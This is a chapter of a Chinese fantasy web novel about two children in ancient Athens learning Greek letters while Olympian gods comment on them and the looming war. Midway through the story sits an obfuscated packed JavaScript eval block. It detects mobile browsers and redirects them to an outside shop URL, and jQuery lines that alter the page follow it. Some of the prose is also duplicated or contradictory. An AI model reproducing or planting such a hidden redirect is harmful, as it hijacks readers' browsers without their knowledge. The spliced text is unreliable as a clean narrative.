【公元前434年，阿瑟雅八岁，莱山德十岁。在神殿后方的橄榄林中，两个灵魂在知识与梦想的滋养下悄然成长。】


    午后的阳光穿过橄榄树银绿色的叶片，在泥地上洒下斑驳的光影。


    微风带来远处市集的喧嚣与海浪拍岸的节奏，交织成独特的雅典乐章。


    「快来！我发现了一个不得了的地方！」


    莱山德气喘吁吁地跑来，脸上洋溢着发现宝藏般的兴奋。他不由分说地拉起阿瑟雅的手，带着她穿过茂密的灌木丛。「就在昨天练习剑术时发现的，我谁都没告诉！」


    这里是他们的秘密王国——雅典娜神殿后方的山坡，一片能俯瞰整个雅典城邦与远处萨罗尼克湾的橄榄林。从这里望去，帕特农神庙的廊柱在阳光下闪着象牙白的光泽，而更远处，爱琴海的波光如碎金般闪耀。


    莱山德拨开一丛茂密的常春藤，露出一个隐蔽的洞口。


    「小心脚下，」他提醒道，率先弯腰钻了进去。


    洞内别有洞天，阳光从顶部的缝隙洒落，在岩壁上投下斑驳的光点，最神奇的是，洞顶镶嵌着许多会发光的晶石，在昏暗的光线下如同夜空中的星辰。


    莱山德气喘吁吁地爬上坡顶，额头上挂着晶莹的汗珠。他小心翼翼地从怀里掏出用干净麻布仔细包裹的无花果干，像献宝一样递到阿瑟雅面前。


    「今天市集来了个腓尼基商人，」


    他兴奋地说，眼睛亮晶晶的，「他的船队刚从遥远的东方回来，这些无花果特别甜！我还看到他带来了会说话的鹦鹉，羽毛比彩虹还要鲜艳！」


    「这里真美，」


    阿瑟雅惊叹道，仰头看着那些发光的晶石。「就像把夜空搬到了地下。这些石头为什么会发光？」


    阿瑟雅早已在他们惯坐的那块被阳光晒得温暖的大石头上等候，膝上摊开着几张泛黄的羊皮纸。她接过果干，也从随身的亚麻布袋中取出新的宝贝——几张边缘磨损的羊皮纸残片，上面还留着祭祀仪式上用过的熏香气息。


    「今天我们学Μ（Mu）和Ν（Nu），」


    她用一根修直的橄榄树枝在松软的泥地上划出优美的曲线，「你看，Μ像起伏的海浪，Ν像划破天空的闪电。」


    「我问过父亲，」


    莱山德得意地说，「他说这可能是某种会吸收阳光的石头，在黑暗处就会发亮。他说在遥远的矿山里也有类似的石头，矿工们用它来照明。」


    莱山德立即认真地蹲下身，用他那双更适合握剑的、略显粗壮的手指笨拙地握着树枝，一笔一画地模仿。他的眉头因专注而紧锁，额头上沁出细小的汗珠。


    「父亲说，战士只需要懂得服从命令与精准挥剑，」


    他低声说道，语气中带着一丝困惑。


    「但我想读懂广场上刻着的律法，想理解将军们下达的复杂战术文书。我不想当个只会听令的士兵。」


    「知识不该被少数人垄断，」


    阿瑟雅认真地说，帮他调整握树枝的姿势。「母亲说，每个渴望学习的心灵都值得被滋养。你看，这个洞穴不也是隐藏的秘密吗？知识就像这些发光的石头，应该被发现，被分享。」


    「律法是执政官在广场上向公民宣读的，」


    阿瑟雅俏皮地眨眨眼，压低声音彷佛在分享一个惊天秘密。


    「但我知道，你真正想读的，是那些从埃及传来的莎草纸故事，或是关于特洛伊战争英雄的史诗卷轴，对吧？你想知道阿基里斯除了勇猛之外，还有怎样的故事。」


    「你怎么知道的？」


    莱山德惊讶地抬头，随即不好意思地笑了。「是啊，我想知道赫克特为什么明知会输还要出战，想知道奥德修斯是怎么想出木马计的。这些故事里，应该不止有打打杀杀吧？」


    莱山德的耳根顿时泛红，像是被说中了心事。


    在那个知识大多被贵族、祭司与学者垄断的时代，一个铁匠（或者说，一个并非出身学者世家的公民）之子如此渴望文字，既是某种逾越，也是一种奢侈的梦想。


    「我们可以把这里当作我们的秘密学堂，」阿瑟雅环顾这个发光的洞穴，眼中闪着灵感的光芒。「在这里学习，就像在星空下一样。这些发光的石头会保守我们的秘密。」


    ---


    云端之上，众神的茶会与八卦


    「听听这孩子说的话，」


    海神波塞冬的声音如同远方传来的深沉潮汐，他的三叉戟在翻滚的云层中不自觉地闪烁着幽蓝的光芒，显示出他内心的波动。


    「我的血脉，我眷顾的这小战士，他渴望的是智慧，而不仅仅是肌肉的蛮力。看见了吗？他继承了海洋的深邃与广博，不只是表面那汹涌的波涛！」他的语气充满了发现珍宝般的得意。


    智慧女神雅典娜静立在云端，金色的眼眸平静地映照着下方那幅一个教一个学的温馨场景。


    「他确实与众不同，伯父，我承认这一点。但请记住，智慧的道路从来都布满荆棘。知识既能启迪心智，照亮前路，也可能带来清醒的痛苦与求而不得的烦恼。」她的声音带着洞悉一切的冷静。


    「那些发光的石头...」工匠之神赫菲斯托斯眯起眼睛，仔细观察着洞穴。「那不是普通的萤石。我感觉到了古老的魔力，很微弱，但确实存在。这个洞穴可能是某个远古宁芙的圣所，或是更古老的存在的遗迹。」


    波塞冬不以为然地挥动三叉戟，远处爱琴海的海面随之泛起不寻常的细碎浪花。


    「我宁愿他在主动追寻智慧的路上经历挫折，就像传说中那些靠智谋取胜的英雄，在漫长漂泊中学会真正的智慧与坚韧，也不愿他成为一个只懂得听令挥剑、没有自己思想的莽夫。那才是对生命力的浪费！」


    这时，爱神阿芙萝黛蒂的身影伴随着一阵花香悄然出现，她洒下一片柔和的玫瑰色光晕，声音甜腻如蜜。


    「噢，多么纯真美好的情谊啊！你们快看，那女孩教导时的眼神是多么专注温柔，男孩学习时的神情又是多么认真渴望。这种心灵的靠近，比任何热烈的爱慕都更触动人心呢！」


    工匠之神赫菲斯托斯也被吸引过来，他拖着跛足，粗声粗气却带着一丝赞赏。


    「嗯，那小子握树枝的姿势虽然笨拙，但很有耐心，像在打磨一件精细的金属器。学习确实需要工匠般的精神。」


    狩猎女神阿尔忒弥斯也从她的猎场投来一瞥，清冷的声音响起：「在那片开阔的林地里学习，倒比憋在闷热的学堂里要好得多。只是这份与神殿的深刻连结，对那女孩而言既是祝福，也是枷锁。」


    农业女神得墨忒耳的声音温和而充满忧虑：「但愿孩子们的纯真不会被即将到来的战火所玷污。我已经嗅到了战争的气息，那会让我的田野荒芜，让无辜的百姓挨饿。」


    智慧女神雅典娜轻叹一声，银甲折射出复杂的光芒。


    「正是这份不掺杂质的纯真让我忧心。命运的纺锤从不会永远纺出柔软的丝线，知识的种子一旦在心田里发芽，就可能改变既定的轨迹，引出未知的风暴。」


    「就让他们尽情享受此刻的宁静与美好吧，」


    海神波塞冬难得地放柔了如同海浪般的声音，「即使是我们，掌握雷霆与海洋的神，也无权剥夺这份属于孩童的、最纯粹的美好时光。」


    ---


    回到凡间的学习时光


    莱山德完全沉浸在弯弯曲曲的字母世界里，浑然不知自己朴素的愿望正在奥林匹斯山引起一场小小的讨论。他小心翼翼地描摹着泥地上的符号，那份专注的神情，彷佛在雕刻一件最精细的金属工艺品。


    「昨天我偷听到父亲和邻居的谈话，」


    他突然压低声音，像是要分享一个重要的军情。


    「他们说斯巴达的使节又来了，在议事厅里声音很大地争吵。父亲回来后脸色很凝重，他说，战争的阴云正在伯罗奔尼撒上空聚集，可能很快就要飘到雅典了。」


    「战争...」


    阿瑟雅轻声重复这个词，手指无意识地抚过洞壁上发光的晶石。


    「母亲说，我的外祖父就是在战争中失去的。那时候母亲还很小。她说战争就像一场瘟疫，带走最好的人，留下永远无法愈合的伤痛。」


    阿瑟雅安静地听着，褐色的眼眸中掠过一丝与年龄不符的忧虑。她的手指无意识地在泥地上画着连绵的波浪。


    「母亲说，雅典娜女神赐予我们橄榄树，是希望我们选择和平与丰饶。可是为什么……为什么人们在祈祷时，总是更记得她是持矛的战神，而不是赐予我们智慧与工艺的智慧之神呢？」


    「父亲说，有时候战争是为了保护更重要的事物，」


    莱山德认真地说，手中的树枝无意识地握紧，像是握着一柄真正的剑。


    「保护家园，保护像你...像你们这样的人能够平安地生活。他说，真正的战士不是渴望战争，而是准备好面对战争。」


    这时，一片形状奇特的云朵恰好飘过湛蓝的天际，边缘的轮廓像极了他们刚刚学会的Μ字母。莱山德兴奋地指给阿瑟雅看，暂时忘记了战争的沉重话题。


    「我们来玩个游戏吧，」


    阿瑟雅突然灵机一动，脸上重新露出笑容。


    「用今天学的字母组词。Μ和Ν，再加上我们之前学的，可以组成什么词呢？」


    莱山德皱着小脸苦思冥想，尝试着组合发音。「Μ...Ν...Μν?μη（记忆）？」他不确定地问。「父亲说过这个词，他说战士要记住战场的教训。」


    莱山德皱着小脸苦思冥想，尝试着组合发音，最后有些沮丧地摇头。


    「很接近了！」


    阿瑟雅鼓励道，「是Μ?θημα（学习）。你看，记忆是过去的积累，学习是面向未来。两者都很重要。」她在泥地上流畅地写下两个词，让它们并排而立。


    阿瑟雅微笑着，用树枝在泥地上流畅地写下「Μ?θημα」。


    「这是『学习』的意思。母亲说，学习是通往智慧殿堂的阶梯，每一步都算数。」


    「那我要学会所有的词，所有的知识，」


    莱山德眼中闪着决心的光芒，「这样我就能更好地守护雅典，用智慧避免不必要的战争，或者在必须战斗时做出正确的选择。」


    「那……那我要永远当你的学生，」


    莱山德脱口而出，随即意识到这话太过直白，脸颊微红，不好意思地连忙补充。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632550|188022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>「我是说，我想学会所有的字母，以后要读懂广场上所有的公告，还有那些从异邦来的、写满故事的卷轴！」


    「那……那我永远教你。」


    ---


    云端上的回响与新的发现


    「永远？」


    爱神阿芙萝黛蒂轻笑出声，指尖不自觉地洒落更多闪光的玫瑰花瓣，那些光点在云间转瞬即逝。


    「这些渺小的生命总是轻易许下永恒的承诺，却连百年光阴都难以跨越。他们的『永远』，短暂得就像我手中这些花瓣，刚刚绽放便要凋零。」


    她优雅地托着下巴，看着下方两个认真学习的身影。


    「但正是这份明知生命转瞬即逝，却仍不顾一切许下承诺的诚挚，才最令人动容，不是吗？我们拥有永恒，反而无法理解这种在有限中追求无限的勇气。」


    海神波塞冬注视着孙子那认真而渴望的模样，三叉戟在云端激起细小的浪花。


    「看啊！这孩子明明知道自己的生命不过是历史长河中的一滴水，却依然渴望在这么短暂的时光里理解世界的真理。这份源自灵魂深处的求知欲，这份在有限生命中主动靠近智慧的火种，难道不比你那些神殿里刻板的戒律和繁复的仪式更加珍贵吗？」


    他转向雅典娜，语气中带着海浪般的澎湃。


    「我们这些永生者永远不会明白，正是因为知道生命短暂，凡人才会如此热烈地追求，如此执着地许诺。他们的『永远』虽然可笑，却比我们的永恒更加真实。」


    这时，雅典娜清冷的声音响起，带着永恒存在特有的疏离。


    「永远？」


    她重复这个词，金色眼眸中满是困惑。


    「我不明白。为什么要对必然终结的事物许诺永恒？知识是永恒的，真理是永恒的，我的神殿的石材也将存在数千年——但他们的生命，短暂得连学习全部字母的时间都不够。」


    她凝视着下方两个孩子，就像在观察转瞬即逝的露珠。


    「这个女孩说要永远教他，这个男孩说要永远学习。可他们的『永远』是什么？是五十年？六十年？在我们说话的这一刻，他们的生命已经流逝了一小部分。」


    工匠之神赫菲斯托斯停下敲打，闷声说道。


    「正因为时间有限，他们才如此珍惜每个瞬间。就像昙花，正因为只开一夜，才显得格外珍贵。」


    「珍惜？」


    雅典娜的语气中第一次出现类似情绪的波动，那是一种深植于永恒的孤独。


    「正因为他们如此短暂，所以每一次离别都充满痛苦，每一次失去都刻骨铭心。如果明知终将结束，为什么还要开始？如果承诺注定无法实现，为什么还要许诺？」


    她的目光穿透云层，落在阿瑟雅身上。


    「你们说这份连结珍贵，但我看到的是一个注定破碎的悲剧。这个女孩的灵魂与我的神殿共鸣——当神殿依然屹立时，她早已化为尘土。这种连结对永恒者而言是荣耀，对短暂者而言，难道不是最残酷的诅咒吗？」


    波塞冬难得收起狂放的姿态，海浪在他身后变得平静。


    「正因为生命短暂，他们才活得如此浓烈。我们永远不会明白，在有限中燃烧的火焰，比永恒的星光更加耀眼。」


    雅典娜沉默地望着云层下，两个孩子正在分享最后一块无花果干。这一刻如此平凡，却因为注定消逝而显得格外珍贵。永远无法理解「有限」的智慧女神，第一次在永恒的孤独中，感受到一丝若有若无的怅惘。


    就在众神交谈之际，远方的海面上，一艘悬挂着斯巴达旗帜的战船正缓缓驶离比雷埃夫斯港，它的黑色风帆被海风吹得鼓胀，帆面的褶皱在阳光下，竟也隐隐形成了一个巨大的Μ字轮廓，彷佛在呼应着凡间孩童的学习，却带着不祥的预兆。


    「看啊，战神阿瑞斯的狂怒已经开始在希腊蔓延，」


    农业女神得墨忒耳忧伤地说，「我的田野即将被鲜血染红，我的谷物将在战火中枯萎。」


    「不和女神厄里斯投下的金苹果，又一次在希腊的土地上滚动，」


    狩猎女神阿尔忒弥斯冷冷地说，「凡人们总是重复同样的错误。」


    而在橄榄树下，两个孩子依旧并肩而坐，一个耐心地讲解着字母的奥秘，一个专心地聆听模仿，他们浑然不觉自己的日常对话正在神界引起怎样的反响，更不知道命运那庞大而精密的织机，已经开始为他们独特的生命轨迹，纺出最初的那几根看似寻常、却至关重要的丝线。


    「明天我带你去看港口的战船，」


    莱山德兴奋地计划着，「父亲说我可以去参观了。那些三列桨战船比山还高！」


    「好啊，」阿瑟雅微笑着点头，「但现在，我们先把这几个字母学会。知识就像星光，一点一点照亮前路。」


    黄昏降临，星光洞穴里的晶石愈发明亮，真的如同满天繁星。


    两个孩子并肩坐在洞口，看着夕阳将雅典城染成金红色。在这一刻，战争的阴影似乎还很遥远，知识的光芒与纯真的友谊照亮了他们的秘密世界。


    这片宁静的橄榄林地，此刻既是知识的启蒙之地，也成了命运交响曲悄然奏响序章的神秘舞台。


    （第九章完）